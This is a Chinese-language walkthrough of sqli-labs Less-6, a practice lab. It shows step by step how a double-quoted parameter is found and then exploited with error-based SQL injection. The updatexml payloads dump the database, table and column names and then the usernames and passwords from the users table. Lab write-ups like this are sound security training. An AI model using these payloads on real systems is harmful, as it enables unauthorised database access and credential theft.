less-6
sqli-lab通过各种方式(整型注入,字符注入,报错注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。
此关运用报错注入
学习sqli注入必备语句:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)
查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)
查字段的值:select username,password from security.users(此处拿username,password字段为例)
1.用引号试探看出,此处是用双引号包裹的,使用双引号注入
2.使用- -+闭合,回显恢复
3.使用order by语句判断列数
4.发现有三列
5.使用union select联合查询,把id改成一个不存在的值使得有回显位,这里没有回显。
因为正确的地方只会回显You are in …所以我们要用报错的方式爆出库表列和字段的值
?id=-1" union select 1,2,3 --+
6.进行爆库操作
?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
updatexml:updatexml(1,concat(0x7e,(构造语句),0x7e),1)
7.进行爆表操作
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
group_concat:将所有的数据连接进行拼接后作为一行显示
where:指定库的位置
8.进行爆字段操作
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
and:逻辑和
9.进行爆字段值操作
?id=1" and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1) --+
concat_ws(’~’,A,B)
显示为(A~B),用于区分用户名、密码